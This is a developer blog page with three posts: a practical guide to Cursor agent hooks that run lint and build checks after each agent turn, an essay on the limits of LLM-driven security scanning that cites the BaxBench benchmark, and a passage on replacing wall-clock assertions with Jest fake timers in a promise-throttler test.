Liran Tal's Blog

Cursor Agent Hooks: Lint and Build Checks After Each Turn

Wed, 22 Apr 2026 00:00:00 GMT

When an AI coding agent finishes a turn, the diff often looks ready long before lint, typecheck, and bundlers agree. Pasting failures back into the chat works, but it is manual, easy to skip under pressure, and it does not scale across a team. Cursor agent hooks attach scripts to lifecycle events so verification can run in the same context as the agent, and when you pick the right event—results can flow straight back into the next turn without you acting as a human relay.

This article is a practical explainer for experienced JavaScript and Node.js engineers who already use pnpm (or npm) locally and in CI. It synthesizes a real stop hook pattern: run pnpm lint and pnpm build after each agent turn, capture failures safely into JSON, and return {} when there is nothing left for the model to do. Along the way it documents three edge cases that are easy to miss in documentation alone: Cursor’s bundled Node on PATH, the infinite loop that appears when you misuse followup_message, and why sessionEnd is the wrong hook if you want self-healing.

Background and prior art
How Cursor agent hooks work
Hook events: comparison and mental model
Why stop enables a self-healing loop
Implementing a verification hook
Pitfalls we hit in production
Debug logging and skipping work on abort
Reference configuration
Trade-offs and alternatives
Applications and examples
Validation and measurement
Security and performance considerations
Limitations and future work
Troubleshooting
FAQ
Next steps

Background and prior art

Teams have long separated “fast feedback in the editor” from “authoritative verification in CI.” Format-on-save, ESLint integrations, and TypeScript language services shorten the inner loop. GitHub Actions (and similar hosted runners) enforce the outer loop on every pull request: install, lint, test, build, sometimes scan. That split is healthy. The gap appears when a coding agent produces a large diff quickly: local editor diagnostics may lag, and CI feedback arrives only after push—unless you wire something in between.

Cursor’s hooks sit in that middle space. They are not a replacement for GitHub Actions; they are an orchestration surface tied to the agent lifecycle. Prior art includes git hooks (pre-commit, pre-push), task runners, and IDE macros—but those either fire on version control events or on manual triggers, not automatically at the boundary between agent turns. Hooks are closer to “serverless functions for the IDE”: stdin JSON in, stdout JSON out, with explicit contracts documented in Agent Hooks.

The scenario this article optimizes for is a repo where pnpm lint and pnpm build are already the local definition of “green,” and you want the agent to see the same failures your CI would surface—without you copying logs from a terminal panel.

How Cursor agent hooks work

Hooks are commands Cursor runs at defined lifecycle points. The integration protocol is intentionally small: stdin carries a JSON payload from Cursor; stdout carries a JSON response your command prints; stderr is for human-oriented logs in the Hooks output channel. Cursor parses stdout as JSON when the process exits successfully.

You declare hooks in hooks.json:

Project hooks: .cursor/hooks.json (committed, shared with the team)
User hooks: ~/.cursor/hooks.json (global, personal)

A minimal stop hook registration:

{
  "version": 1,
  "hooks": {
    "stop": [
      {
        "command": ".cursor/hooks/my-hook.sh",
        "timeout": 120
      }
    ]
  }
}

The command path is relative to the project root for project hooks, or relative to ~/.cursor/ for user hooks. If you mix those rules, the hook can fail to run with no obvious in-editor error beyond an empty Hooks channel.

Cursor watches hooks.json and reloads on save. If changes do not apply, restart the editor.

Command hook contract

For command-style hooks, keep the following in mind:

stdin: JSON payload from Cursor
stdout: JSON response (this is what Cursor parses)
stderr: logs you want to read while diagnosing
Exit 0: success; stdout JSON is honored
Exit 2: block the action (equivalent to "permission": "deny" where applicable)
Other exit codes: fail-open by default in many configurations—treat non-zero as “hook crashed,” not “lint failed”

For a stop hook, the meaningful stdout shapes are {} (no further automation) or {"followup_message": "..."} (ask Cursor to enqueue another user message for the agent). That second path is what makes verification feedback feel like part of the conversation instead of a side channel.

Hook events: comparison and mental model

Cursor exposes multiple hook events. The ones that matter most for “run checks after the agent does work” are summarized below.

Event	When it fires	Agent-visible feedback
`sessionEnd`	Composer chat window closes	Fire-and-forget; response is logged, not injected into a live loop
`stop`	Each agent turn completes	Yes — `followup_message` becomes the next user message
`postToolUse`	After a single tool call succeeds	Yes — `additional_context` is injected after the tool result
`afterFileEdit`	After the agent edits a file	No structured output fields at time of writing

First attempt: `sessionEnd`

sessionEnd sounds like “when everything is done, verify.” It does run at a sensible boundary if you want auditing or telemetry. The problem is semantic: the session is already ending. If pnpm lint fails, there is no agent turn left to consume a structured response. You might still log to a file or push metrics, but you should not expect the model to self-correct from that signal.

Better fit: `stop`

The stop hook fires when each agent turn ends—not when the chat closes, but after each model response completes. It supports followup_message, which Cursor can auto-submit as the next user message, which starts another agent turn. That closes the loop: agent writes code, hook runs checks, hook returns failures as a user-visible message, agent repairs, hook runs again, eventually stdout is {} and the conversation can stop without you retyping CI output.

Typical stdin for stop looks like:

{
  "status": "completed",
  "loop_count": 0
}

status is one of "completed", "aborted", or "error". loop_count counts how many times this hook has already triggered a follow-up in the conversation (starting at 0). That field matters when you reason about budgets and safety caps.

Why `stop` enables a self-healing loop

The sequence is easier to reason about as a flow than as a bullet list. Conceptually:

sequenceDiagram
  participant Agent as Agent turn
  participant Cursor as Cursor
  participant Hook as stop hook
  Agent->>Cursor: completes response
  Cursor->>Hook: stdin JSON (status, loop_count)
  Hook->>Hook: sanitize PATH, run lint/build
  alt checks pass
    Hook-->>Cursor: stdout {}
  else checks fail
    Hook-->>Cursor: stdout followup_message
    Cursor->>Agent: new turn with failure output
  end

The invariant you want is: only emit followup_message when the model should take a corrective action. If checks pass, return {} so the automation does not manufacture new user messages. The pitfall section below covers what happens when you violate that rule.

Implementing a verification hook

The implementation pattern that has been reliable in bash is: read stdin once, optionally parse fields, sanitize the environment, run commands while capturing output, then print exactly one JSON object to stdout before exiting zero—even when lint fails (because the hook itself succeeded at reporting lint failure).

Skeleton

#!/bin/bash
set -euo pipefail

json_input=$(cat)

# ... sanitize PATH, parse status, run checks ...

printf '%s\n' '{}'
exit 0

Capturing output and returning `followup_message`

When pnpm lint or pnpm build fails, you need the agent to see stderr/stdout, but stdout must remain valid JSON. A practical approach is to capture command output to a variable or temp file, truncate to a safe size for context windows, and assemble JSON with a small Python helper (arbitrary shell output makes hand-rolled quoting fragile).

fail_with_followup() {
  local step_human=$1
  local exit_code=$2
  local raw_output=$3
  printf '%s' "$raw_output" | head -c 12000 | python3 -c '
import json, sys
step, code = sys.argv[1], int(sys.argv[2])
out = sys.stdin.read()
msg = (
    "The **stop** hook in this repo ran an automated check "
    "after your last agent turn (same commands as local CI).\n\n"
    f"**Command:** `{step}`\n"
    f"**Result:** failed with exit code **{code}**.\n\n"
    "Please fix the issues in the output below, then continue.\n\n"
    "```text\n" + out + "\n```\n"
)
print(json.dumps({"followup_message": msg}, ensure_ascii=False))
' "$step_human" "$exit_code"
  exit 0
}

Using python3 here is deliberate: one stray " in tool output should not break the entire hook payload.

Optional JSON parsing with `set -e`

If jq is missing or returns non-zero under set -e, the whole hook can exit before checks run. A common pattern is to default fields, then parse inside a temporary set +e block:

status="completed"
loop_count=0
if command -v jq >/dev/null 2>&1; then
  set +e
  status=$(printf '%s' "$json_input" | jq -r '.status // "completed"' 2>/dev/null)
  loop_count=$(printf '%s' "$json_input" | jq -r '.loop_count // 0' 2>/dev/null)
  set -e
fi

Pitfalls we hit in production

Pitfall 1: Cursor’s bundled Node on `PATH`

Symptom: pnpm lint fails inside the hook with Error [ERR_REQUIRE_ESM]: require() of ES Module ..., while the same command in your interactive terminal passes.

Cause: Cursor spawns hook processes with its own bundled Node early on PATH (commonly under ~/.cursor-server/bin/). That Node version may be older than the toolchain your repository assumes, which breaks packages that moved to ESM-only loading paths.

Mitigation: strip Cursor’s runtime directories from PATH before invoking pnpm, or pin NODE explicitly in the hooks.json command string. One portable sanitizer uses python3 to rebuild PATH:

sanitize_cursor_bundled_runtimes_from_path() {
  if command -v python3 >/dev/null 2>&1; then
    PATH="$(
      python3 -c '
import os
skip = (".cursor-server", ".vscode-server")
p = os.environ.get("PATH", "")
print(":".join(x for x in p.split(":")
               if x and not any(s in x for s in skip)))
'
    )"
    export PATH
    return 0
  fi
  # If python3 is unavailable, implement a PATH walk in bash for your environment.
}

After sanitization, node should resolve to the same binary you expect from nvm, fnm, mise, or your devcontainer feature—not the editor’s bundled runtime.

You can also pin a Node binary per hook:

"command": "POST_SESSION_VERIFY_NODE=/usr/local/bin/node .cursor/hooks/post-session-verify.sh"

Key takeaway: hooks do not run inside your login shell. They inherit Cursor’s process environment, which may reorder PATH relative to an interactive session. Baseline this with logging (which node, node -v) while iterating.

Pitfall 2: `followup_message` on success creates a loop

Symptom: the agent keeps responding forever; each turn re-triggers the hook; Hooks channel fills with repetitive success chatter.

Cause: returning {"followup_message": "All checks passed!"} after a green run still schedules another user message, which starts another agent turn, which hits stop again.

Mitigation: use followup_message only when the model must change the repo. On success, print {}. If you want operators to see success, log to stderr or rotate a log file—not stdout, and not followup_message.

Cursor also exposes loop_limit per hook script as a safety valve. Defaults are conservative, but you should still treat “success follow-ups” as a logic bug, not something to rely on the cap to mask.

Pitfall 3: stdout is sacred

Symptom: Cursor ignores hook output; follow-ups never appear.

Cause: debug echo statements printing to stdout corrupt the JSON channel.

Mitigation: route diagnostics to stderr or a file. stdout should contain a single JSON object and nothing else.

Pitfall 4: non-zero exit when returning JSON

Symptom: hook tries to return followup_message, but Cursor treats the hook as crashed.

Cause: exiting non-zero signals hook failure, not “lint failed.”

Mitigation: on lint failure where you successfully composed JSON, exit 0 so Cursor parses stdout. Reserve non-zero exits for true hook errors (missing script, unhandled bash -e failure before JSON emission).

Debug logging and skipping work on abort

When the user cancels generation, stop may still run with "status": "aborted". Running a full lint and build cycle there is usually wasted work and noisy. A small guard keeps the hook polite:

if [[ "${status}" == "aborted" ]]; then
  debug_log "stop hook: status=aborted — skipping pnpm lint/build"
  printf '%s\n' '{}'
  exit 0
fi

For "error" statuses, decide whether you want verification to run on top of a model-side failure; many teams skip or downgrade checks to avoid compounding confusion.

A POST_SESSION_VERIFY_DEBUG-style environment toggle is useful: when enabled, write timestamps, which node, and truncated command logs to a file; when disabled, keep stderr concise. That toggle can be set in hooks.json without editing the script body.

Reference configuration

`.cursor/hooks.json`

{
  "version": 1,
  "hooks": {
    "stop": [
      {
        "command": ".cursor/hooks/post-session-verify.sh",
        "timeout": 600,
        "loop_limit": 10
      }
    ]
  }
}

timeout should reflect real project cost: cold caches and large TypeScript graphs can push lint and build into many minutes. loop_limit caps automatic follow-ups if logic regresses.

`.cursor/hooks/post-session-verify.sh`

The script should:

Read stdin JSON (status, loop_count)
Sanitize PATH to remove Cursor’s bundled Node when needed
Optionally log tool versions when debug is enabled
Run pnpm lint then pnpm build sequentially (or your equivalents)
On failure: emit followup_message with command, exit code, and truncated output
On success: emit {}
On aborted: skip checks

Make it executable: chmod +x .cursor/hooks/post-session-verify.sh

Trade-offs and alternatives

Hooks are powerful, but they are not uniformly the best control point.

Approach	Strength	Cost or risk
`stop` + `followup_message`	Strong self-heal loop; failures resemble user input	Full checks every turn can be slow; requires careful loop hygiene
`postToolUse` (Write matcher)	Finer granularity; less redundant work	More invocations; different response fields (`additional_context`)
`sessionEnd`	Good for audit, analytics, signing, cleanup	No live agent loop; not a substitute for in-turn repair
GitHub Actions only	Authoritative, reproducible, multi-OS matrices	Feedback arrives later; no automatic in-editor repair
Local git hooks	Enforced at commit time	Does not understand agent turns; can frustrate rapid WIP commits

The key trade-off is latency versus coverage. stop optimizes for coverage at the turn boundary. postToolUse optimizes for tighter coupling to file mutations. CI optimizes for team-wide enforcement. In practice, combine them: hooks for fast local alignment, Actions for policy and release gates.

Applications and examples

Beyond lint and build, the same pattern applies to:

Typecheck-only gates for repositories where ESLint is noisy but tsc --noEmit is authoritative
Generated code drift checks (pnpm codegen && git diff --exit-code) when agents edit protobuf or OpenAPI clients
Focused test slices (pnpm test --filter package-name) when the agent is scoped to a package

Keep messages actionable: include the failing command, exit code, and enough log context to locate files without dumping entire build artifacts.

Validation and measurement

To validate the hook environment matches your expectations, run these from the same machine but first in an interactive shell, then temporarily at the top of the hook (guarded by debug):

command -v node && node -v
command -v pnpm && pnpm -v
printf '%s\n' "$PATH" | tr ':' '\n' | head -n 40

Quick check: after adding PATH sanitization, confirm which node no longer points under .cursor-server when the hook prints its baseline log.

To validate JSON integrity without involving Cursor, pipe a synthetic payload:

printf '%s\n' '{"status":"completed","loop_count":0}' | .cursor/hooks/post-session-verify.sh

You should see exactly one JSON object on stdout. If you wrap the hook for testing, preserve stdin semantics.

Security and performance considerations

Security: project hooks are code execution for everyone who opens the repository. Treat .cursor/hooks/ like .github/workflows/ or package.json scripts: review changes, pin dependencies, and avoid fetching remote shell snippets at runtime. If a hook reads secrets from the environment, remember they are available to the subprocess—same as any local script.

Performance: running full pnpm build after every turn can dominate wall time on large apps. Mitigations include caching, splitting “fast lint” from “slow build,” using postToolUse for incremental checks, or scoping worksets when the agent is confined to a package. Always set timeout and loop_limit so a pathological loop cannot burn unlimited CPU.

Limitations and future work

Hooks are editor-local. They do not absolve you of CI; they reduce surprise before push.
Behavior evolves with Cursor versions. stdin fields and supported events can expand; pin documentation dates in internal runbooks when you rely on subtle semantics.
Non-deterministic agents: even perfect logs do not guarantee the next turn fixes the root cause—budget follow-ups and keep human review on risky areas.

Troubleshooting

Symptom	Likely cause	Mitigation
Hook never runs	Wrong `command` path for project vs user hooks	Use `.cursor/hooks/...` under repo root; restart Cursor
`ERR_REQUIRE_ESM` only in hook	Bundled Node on `PATH`	Sanitize `PATH` or set explicit `NODE`
Infinite agent chatter	Success `followup_message`	Return `{}` on green runs
stdout JSON ignored	Non-zero exit or stray prints	Exit 0 when emitting JSON; log to stderr
Slow sessions	Full build each turn	Narrow checks, use `postToolUse`, or cache

FAQ

Q: Should stop replace GitHub Actions?

A: No. Actions remain the team-wide source of truth for merges and releases. Hooks accelerate local agent loops; they do not provide isolated runners, required reviews, or branch protection by themselves. Keep parity by running the same pnpm scripts in both places.

Q: Why does pnpm work in my terminal but fail in the hook?

A: Different PATH, different Node, and missing login-shell init are the usual causes. Compare which node and node -v from a debug-enabled hook run against your interactive shell. Sanitize editor-bundled runtimes when versions diverge.

Q: Can I use npm instead of pnpm?

A: Yes. Replace commands with npm run lint / npm run build (or npx) as long as the hook’s environment resolves the same toolchain your CI uses. The integration pattern does not depend on pnpm specifically—pnpm appears here because that is what the reference repository used.

Q: How do I stop burning follow-ups on unfixable errors?

A: Lower loop_limit, improve the failure message with file anchors, and consider skipping heavy checks when loop_count exceeds a threshold you define inside the script (document that policy for your team).

Q: Is postToolUse safer than stop for large repos?

A: Often, yes, if your goal is to nudge after each write without paying a full build each turn. The trade-off is more hook invocations and different response semantics—consult the latest Agent Hooks documentation for field names and matchers.

Next steps

If you are maintaining a Node.js monorepo with pnpm, a practical adoption path is:

Add .cursor/hooks.json with a conservative timeout and explicit loop_limit.
Implement post-session-verify.sh with PATH sanitization, abort skipping, and JSON-safe failure reporting.
Mirror the same scripts in GitHub Actions so “green locally” and “green in CI” mean the same thing.
Enable debug logging for one session, capture node resolution and PATH head, then turn debug off for day-to-day use.

Follow on X/Twitter (@liran_tal) for updates and shorter notes on developer tooling. Explore related examples and security-focused Node.js material on GitHub.

LLM Security Automation Isn’t a Drop-In Scanner Yet

Mon, 20 Apr 2026 00:00:00 GMT

If your team is wiring a coding agent with a /security-review or /security-scan custom command, you are not alone. The idea is intuitive: point an LLM at a repository, let it read files, grep for suspicious patterns, and emit a punch list of vulnerabilities before merge. In practice, that workflow inherits properties of probabilistic models and agentic control loops that static analysis vendors spent years sanding down.

In this article, I document six structural failure modes, connect them to measurement ideas you can reuse in engineering reviews, and ground one of the scarier claims about “secured” code in peer-reviewed evidence.

You should read this as a scope guardrail, not a dismissal of LLM-assisted review. Used well and with the right contextual information, models compress context and suggest hypotheses. Used as the sole gate, they reintroduce variance where security programs usually demand repeatability, provenance, and budgets that survive every commit.

Background and prior art

Security engineering has long split work between human review, dynamic analysis, dependency and license scanning, and rule-driven static analysis (SAST). Those tools are not always perfect, but they are engineered for repeatability: the same inputs yield the same findings modulo explicit versioning rules, and incremental scans reuse prior graphs where products support it. Academic benchmarks and industry incident data also emphasize that correctness and security are distinct: code can pass functional tests and still admit exploits when threat models change.

Large language models inverted part of that story. They excel at open-ended synthesis and contextual reasoning (potentially at a cross-file reasoning too, but yet to be determined), which is exactly what security reviewers do informally. Benchmarks at function level looked encouraging early on, which nudged teams toward “LLM as scanner” mental models. BaxBench (discussed later) is one of the newer checks on that optimism: it evaluates multi-file backend generation with functional tests and expert-authored exploits, reporting that even strong models leave a large slice of “correct” programs exploitable.

This write-up focuses on agent harnesses—prompted workflows that loop tools, accumulate context, and terminate with a report, because that is what most /security-scan implementations are in practice from a developer perspective (inclusive of AI builders, and mature AI native engineers).

How it works: the anatomy of an agentic security pass

Operationally, a coding agent performing repository-scale review is a feedback system. The model proposes actions (read a path, search for a string, run a command), the harness (e.g: Claude Code or Cursor) executes them, results return as tokens, and the loop continues until a stop condition. That architecture is powerful and flexible, but it couples three sources of variability: the model’s policy, the tool surface exposed to it, and nondeterministic decoding.

flowchart TB
  subgraph inputs [Inputs]
    PR[Diff or tree snapshot]
    POL[Policies and prompts]
  end
  subgraph loop [Agent loop]
    M[Model proposes next tool calls]
    T[Tool runner: read, grep, shell]
    C[Context assembly + truncation]
    M --> T --> C --> M
  end
  subgraph outputs [Outputs]
    R[Findings list + rationale]
  end
  PR --> M
  POL --> M
  M --> R

Two consequences follow immediately. First, the state the model sees is partial and path-dependent: a different ordering of reads can change the final narrative, even if the repository is identical. Second, cost and latency scale with the loop, not with a precomputed program representation the way mature SAST engines do after indexing.

The sections below translate those mechanics into product-level risks.

1. Run drift: the same command, a different report

Run the same /security-scan twice on an unchanged tree. If you treat the output like a compiler, you expect bitwise stability. LLM decoders do not offer that contract unless you build a deterministic harness on top (fixed model version, temperature zero where exposed, pinned prompts, constrained tool plans, and often still residual variance). In real coding agents, temperature and sampling parameters are frequently not exposed to end users, and tool ordering can differ between sessions.

Run drift is the security program name for that instability. It shows up in triage as contradictory severities, disappearing findings, or new “criticals” that no commit introduced. Teams respond by re-running scans “until it looks right,” which is harmless for creative writing and toxic for evidence chains. If you cannot reproduce a finding on demand, you cannot assign accountability, prioritize fairly, or defend an audit trail.

Quick check: pick three commits, run the harness five times each at the same commit SHA, and record finding identifiers (CWE, file path, line span). Compare overlap with a simple set metric such as Jaccard similarity across runs. If similarity is low while the tree is fixed, you are measuring entertainment, not instrumentation.

2. Phantom findings and the precision–recall trap

Confabulation, often called “hallucination” in casual writing, is not only poetic license. In security triage, it maps cleanly onto classic information retrieval metrics that many software engineers have seen on dashboards, even if the ML vocabulary is unfamiliar.

Recall answers: of all the real security issues present, how many did we flag? High recall means you catch most true vulnerabilities, possibly at the cost of noise.
Precision answers: of everything we flagged, how many were real? High precision means few false alarms, possibly at the cost of misses.

Let’s make this concrete: suppose a module contains one true SQL injection vulnerability and ten harmless string concatenations. If a static application security testing (SAST) scanner flags all eleven as issues, its recall is perfect (it finds the real bug) but its precision is poor (only 1 out of 11 flags is correct, so there are many false positives). Now, consider a scanner that “stays silent”, meaning it produces no results at all for this analysis. In this scenario, its precision is technically perfect since it never produces false alarms (there are zero false positives among its zero findings). However, its recall is catastrophic because it completely misses the real SQL injection issue. This underscores how high precision alone doesn’t mean the tool is useful. If the scanner never reports anything, it’s simply blind to real problems.

LLM-generated findings often degrade precision without guaranteeing recall. A model can narrate a plausible CWE chain for code that never executed the vulnerable path, cite a library version that is not in your lockfile, or describe an exploit that does not compile. If engineers do not treat those items as hypotheses, the failure mode is worse than ignoring the scan: you pay implementation tax on ghosts: extra branches, user-visible friction, refactors that introduce regressions, all because a non-issue was packaged with confident language.

Note: a potential mitigation for future benchmarks might be to require every automated finding to carry a minimal proof sketch: inputs, trust boundary, and a failing test or exploit scaffold. If the harness cannot produce that artifact, route the item to human review with an explicit “unverified” state rather than a backlog of presumed truth.

3. The latency cliff: agent loops versus deterministic scanners

Static analysis products optimize for throughput: parse once, reuse facts, diff against prior graphs, stream results. Agentic review optimizes for flexibility: each step pays round-trip latency and tokenization costs. On a moderate multi-package repository, a single agent pass that reads broadly, follows imports, and reasons aloud can take minutes, not seconds, before you even discuss fixing anything. That is not a moral failing; it is physics given current architectures.

Where this hurts is inner loop ergonomics. Developers already batch pre-push checks to stay inside attention budgets. If your “scanner” is slower than the test suite and competes for the same CI concurrency slots, it will be skipped on hot paths. Security programs degrade when controls migrate to the paths of least resistance.

Note: potential method to explore is to time-box the harness and log wall-clock duration, tool call counts, and tokens per stage. Compare against your fastest deterministic checks on the same diff. The comparison is not to crown a winner, it is to decide which gates belong on every commit versus nightly evidence generation.

4. Unbounded cost: no baseline, no delta, every run bills

Commercial SAST often ships incremental scanning: changed files, cached facts, deduplicated rules. Agentic scans, unless you engineer caching yourself, tend to re-pay full context costs on every invocation. Tokens, compute, and seat-time add up even when the code did not change.

The happy path story is seductive: spending thousands of dollars to catch one remote code execution can be rational in isolation. The unhappy path dominates routine engineering: repeated scans across branches and CI matrices spend budget rediscovering that nothing new appeared. Without explicit baselines, deduplication, and change-aware scheduling, finance and developer experience both erode.

Treat LLM review like an expensive microscope, not a smoke detector. Run it where marginal information is highest—large refactors, new auth surfaces, unfamiliar dependencies, and pair it with cheap always-on checks for known patterns.

5. BaxBench and why “correct enough” code still gets exploited

When people quote alarming percentages about LLMs writing vulnerable code, it is worth anchoring the claim to a reproducible benchmark instead of vibes. BaxBench, introduced by Vero et al., evaluates LLMs on 392 security-critical backend generation tasks spanning multiple frameworks and languages. Solutions are judged with functional tests and with expert-authored exploits executed end to end, including black-box attacks (for example malicious queries) and white-box checks (for example secrets in artifacts).

The paper’s abstract states that, on average, exploits could be executed on around half of the correct programs produced by each LLM, a statistic that is easy to misread, so note the denominator: correct programs that passed functional tests, not “all outputs.” The BaxBench site additionally summarizes that a large share of solutions from even the best models are either incorrect or contain a vulnerability (their headline figure is about 62% for the strongest model in that combined bucket). For model-by-model nuance, use the public ”% insecure of correct” column on the BaxBench leaderboard rather than a single rounded number pulled from memory.

That is not the same experimental setup as “an LLM patched a finding and we measured patch quality,” but it is directly relevant to the thesis of this article. Code that looks reviewed can remain exploitable because models optimize for plausibility under incomplete constraints. BaxBench also highlights ecosystem effects: performance degrades further on less popular frameworks, which matches what teams see when agents stray from well-trodden Stack Overflow–shaped paths.

To validate this yourself, read the paper’s methodology section for threat-model assumptions, then inspect the public dataset and harness on Hugging Face and GitHub if you want to reproduce leaderboard numbers rather than trusting a single blog paragraph. Start from the canonical abstract on arXiv and the authors’ site.

6. Findings variance: models, prompts, harnesses, and modes all move

Even if you stabilize one dimension, others drift. A new foundation model can reorder heuristics silently. Moving from one flagship model to another changes failure shapes: some models over-flag, others under-flag, some confabulate with higher fluency. Prompt changes that read as “minor wording” can swing outputs because instruction following is competitive among multiple valid parses. Different coding agents expose different tool sets, permission models, and default reasoning modes, which changes exploration order and therefore context.

Findings variance is the security program term for that instability across the matrix of (model, prompt, harness, org policy). Without versioned prompts, pinned models, and recorded harness configurations, you cannot compare January’s posture to March’s in a meaningful way.

Consider treating prompts and tool manifests like code: semver them, review changes, and attach them to scan artifacts. When variance is a first-class risk, governance is a first-class deliverable.

Trade-offs and alternatives

No single column captures every nuance, but teams make better decisions when the axes are explicit.

Approach	Repeatability	Latency (typical)	Cost model	Best for
Deterministic SAST	High	Often seconds to low minutes on incremental diffs	License or CI minutes	Known patterns, broad baselines
Dependency scanning	High	Fast	Per-repo or org	Supply chain issues with identifiers
Fuzzing / DAST	Medium–high with seeds	Variable	Compute	Runtime assumptions, parsers
LLM-assisted review	Low–medium with engineering	Minutes common	Tokens per pass	Hypothesis generation, prose summaries
Expert human review	Medium	Human-scale	Salary time	Judgment under ambiguity

The key trade-off is repeatability versus flexibility. LLMs buy flexibility; security gates usually buy repeatability. Hybrid designs pair cheap deterministic checks on every commit with slower LLM passes on risk-tiered events.

Validation and measurement

If you adopt only two metrics from this article, adopt these.

Run drift score: repeated runs at fixed SHA, overlap of normalized findings. Low overlap implies you need baselines before you trust dashboards.
Proof latency: median time from finding to minimal executable proof (test, exploit scaffold, or stack trace). Rising proof latency is a leading indicator that the harness is narrating instead of demonstrating.

Expected output: a short internal memo with histograms, not a single anecdote. Security improvements should be legible to finance and compliance, not only to model enthusiasts.

FAQ

Q: Should we delete our /security-review command?
A: No. Rename its contract mentally from “scanner” to “assistant.” Keep deterministic gates authoritative; use the command for narrative, exploration, and test ideas. Require proofs for anything that blocks merge.

Q: Does setting temperature to zero fix nondeterminism?
A: It reduces sampling variance when the knob exists, but tool ordering, truncation, retrieval differences, and model updates still move results. Treat temperature as a small knob on a large system.

Q: How do we compare LLM findings to Snyk or other SAST?
A: Compare on precision-labeled subsets. Take fifty findings from each system on the same diff, blind them, and have engineers label true or false positive. Report precision and recall with confidence intervals rather than arguing from slogans.

Q: Is BaxBench about code review agents specifically?
A: No. It benchmarks generated backends against functional tests and executed exploits. The lesson for review agents is indirect but strong: models can satisfy immediate correctness signals while missing security properties that only show up under adversarial execution.

Next steps

Instrument your harness for duration, tokens, and normalized finding keys; publish an internal run drift report on a frozen commit.
Add a “proof required” workflow state for any LLM-only finding before work enters sprints.
Tier controls: deterministic checks on every push, LLM passes on high-risk change classes.
Read BaxBench’s methodology and decide which parts of your stack resemble their threat model; cite the paper when you argue for budget for human review.
Version prompts and model IDs like dependencies so incident retrospectives can reconstruct behavior.

All About Jest, Timers, and Mocks

Mon, 30 Mar 2026 00:00:00 GMT

So you’re asserting Date.now() deltas around setTimeout, CI is green on two Node versions, and the matrix job for the middle version explodes with Expected: >= 100 and Received: 99. Nothing in your product code changed. The failure isn’t every run. That’s the kind of bug that wastes an afternoon unless you know what you’re measuring.

I hit this on npq while tightening promise throttling for package audits. We fixed it by stopping wall-clock assertions for timer behavior and driving the same scenarios with Jest fake timers. This post is the anatomy of that flake: why it happens, how the throttler actually behaves, and how I’d write the tests again from scratch.

What we’re actually testing

What you think you’re testing	What the CPU is really doing
”At least 100ms passed”	Integer ms from `Date.now()` before and after async work
”setTimeout(100) means 100ms”	The host schedules a timer; wakeups aren’t aligned to your test’s two `Date.now()` samples
”One failing Node = Node bug”	Often it’s your test assuming properties the runtime never promised

The throttler’s job is simple: cap concurrency and enforce a minimum spacing between handled requests. The tests need to prove (1) fast work still waits for minDelay, and (2) slow work does not get an extra minDelay stacked on top. Wall-clock ms are the wrong instrument for both.

Architecture overview

flowchart TB
  subgraph enqueue [Enqueue]
    T[throttle fn] --> Q[queue]
    Q --> PQ[processQueue]
  end
  subgraph run [Per item]
    PQ --> W[await promiseFunction]
    W --> D{minDelay > 0?}
    D -->|yes| E[elapsed = Date.now - startTime]
    E --> R{remainingDelay > 0?}
    R -->|yes| ST[await setTimeout remainingDelay]
    R -->|no| RES[resolve result]
    ST --> RES
    D -->|no| RES
    RES --> FI[finally: setImmediate processQueue]
  end

processQueue is async and re-entrant via setImmediate, but the flaky tests only cared about the Date.now / setTimeout slice in the middle: measure elapsed work, then sleep the remainder of minDelay. That’s where test time and real time diverge.

Step 1: The production path — why `99` is not always a bug

The implementation (simplified) looks like this:

const startTime = Date.now()
const result = await promiseFunction()

if (this.minDelay > 0) {
  const elapsed = Date.now() - startTime
  const remainingDelay = this.minDelay - elapsed
  if (remainingDelay > 0) {
    await new Promise((r) => setTimeout(r, remainingDelay))
  }
}

Two separate issues bite you:

elapsed can be 1 even when work feels instant. Two Date.now() calls can straddle a clock tick. Then remainingDelay = 100 - 1 → setTimeout(..., 99). Your outer test that wraps the whole throttle() in Date.now() still expects ≥ 100 ms. The code is doing what the math says; the test assumed “minDelay 100 ⇒ at least 100 ms wall.”
setTimeout(100) does not promise a ≥ 100 ms delta in Date.now(). Resolution is coarse. The event loop can fire the timer such that end - start === 99. That’s intermittent, which is why you see it on one Node version and not others — different timer internals, same brittle assertion.

So the first learning: a red test here often indicts the test, not the throttler.

Step 2: The wrong test (what we shipped first)

// ✗ Wrong — wall-clock, flaky on Node 22 CI
test('should respect minimum delay between requests', async () => {
  const throttler = new PromiseThrottler()
  throttler.configure(5, 100)

  const startTime = Date.now()
  const mockPromise = jest.fn().mockResolvedValue('result')

  await throttler.throttle(mockPromise)
  const endTime = Date.now()

  expect(endTime - startTime).toBeGreaterThanOrEqual(100)
})

This reads clearly. It also couples the assertion to real time, OS scheduling, and Date.now() quantization. CI machines disagree with your laptop; Node 22 disagrees with 20 and 24.

Step 3: Fake timers for “must wait minDelay” (fast promise)

You want to prove: if the promise resolves immediately, the throttler still waits until minDelay worth of time has passed. Under Jest, that means controlling the clock.

// ✓ Correct — behavioral, deterministic
test('should respect minimum delay between requests', async () => {
  jest.useFakeTimers({ now: Date.now() })
  try {
    const throttler = new PromiseThrottler()
    throttler.configure(5, 100)

    const mockPromise = jest.fn().mockResolvedValue('result')
    const finished = throttler.throttle(mockPromise)

    await Promise.resolve()
    await jest.advanceTimersByTimeAsync(100)
    await finished

    expect(mockPromise).toHaveBeenCalledTimes(1)
  } finally {
    jest.useRealTimers()
  }
})

Notes that matter:

useFakeTimers({ now: Date.now() }) — avoids starting at epoch 0 if anything logs or compares absolute times.
await Promise.resolve() — lets the microtask queue run so the mocked promise resolves and the internal setTimeout(remainingDelay) is scheduled before you advance.
finally { jest.useRealTimers() } — the same file has tests that use real setTimeout (e.g. a deliberate 100 ms slow promise). If you leave fake timers on, you’ll break those tests in confusing ways.

Step 4: The second flake — “no extra delay” with a slow promise

After we fixed Step 3, CI still failed on the sibling test: same pattern, >= 100 vs 99, but this time the slowness came from setTimeout(..., 100) inside the mocked work, not from minDelay.

// ✗ Wrong — same wall-clock pitfall, different test name
test('should not add extra delay if promise already took longer than minDelay', async () => {
  const throttler = new PromiseThrottler()
  throttler.configure(5, 50)

  const startTime = Date.now()
  const slowPromise = jest.fn().mockImplementation(
    () => new Promise((resolve) => setTimeout(() => resolve('result'), 100))
  )

  await throttler.throttle(slowPromise)
  const endTime = Date.now()

  expect(endTime - startTime).toBeLessThan(130)
  expect(endTime - startTime).toBeGreaterThanOrEqual(100)
})

